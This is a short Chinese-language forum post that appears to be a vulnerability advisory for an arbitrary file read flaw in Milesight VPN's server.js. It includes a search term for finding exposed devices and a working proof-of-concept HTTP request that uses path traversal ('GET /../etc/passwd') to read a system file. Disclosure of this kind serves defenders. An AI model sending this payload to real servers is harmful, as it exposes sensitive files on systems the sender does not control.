跳转到帖子

Milesight VPN server.js 任意文件读取漏洞

recommended_posts

发布于
  • 超级管理员

漏洞描述

MilesightVPN 是一款软件,可使 Milesight 产品的 VPN 通道设置过程更加简便,并可通过网络服务器界面监控连接状态。其中存在任意文件读取漏洞,攻击者通过漏洞可以获取服务器中敏感文件。

漏洞影响

Milesight VPN

网络测绘

“MilesightVPN”

漏洞复现

登陆页面

20241226140819779-png (14)

验证POC

GET /../etc/passwd HTTP/1.1

Host:

Accept: /

Content-Type: application/x-www-form-urlencoded

  • 查看数 746
  • 已创建
  • 最后回复

参与讨论

你可立刻发布并稍后注册。 如果你有帐户,立刻登录发布帖子。

游客
回帖…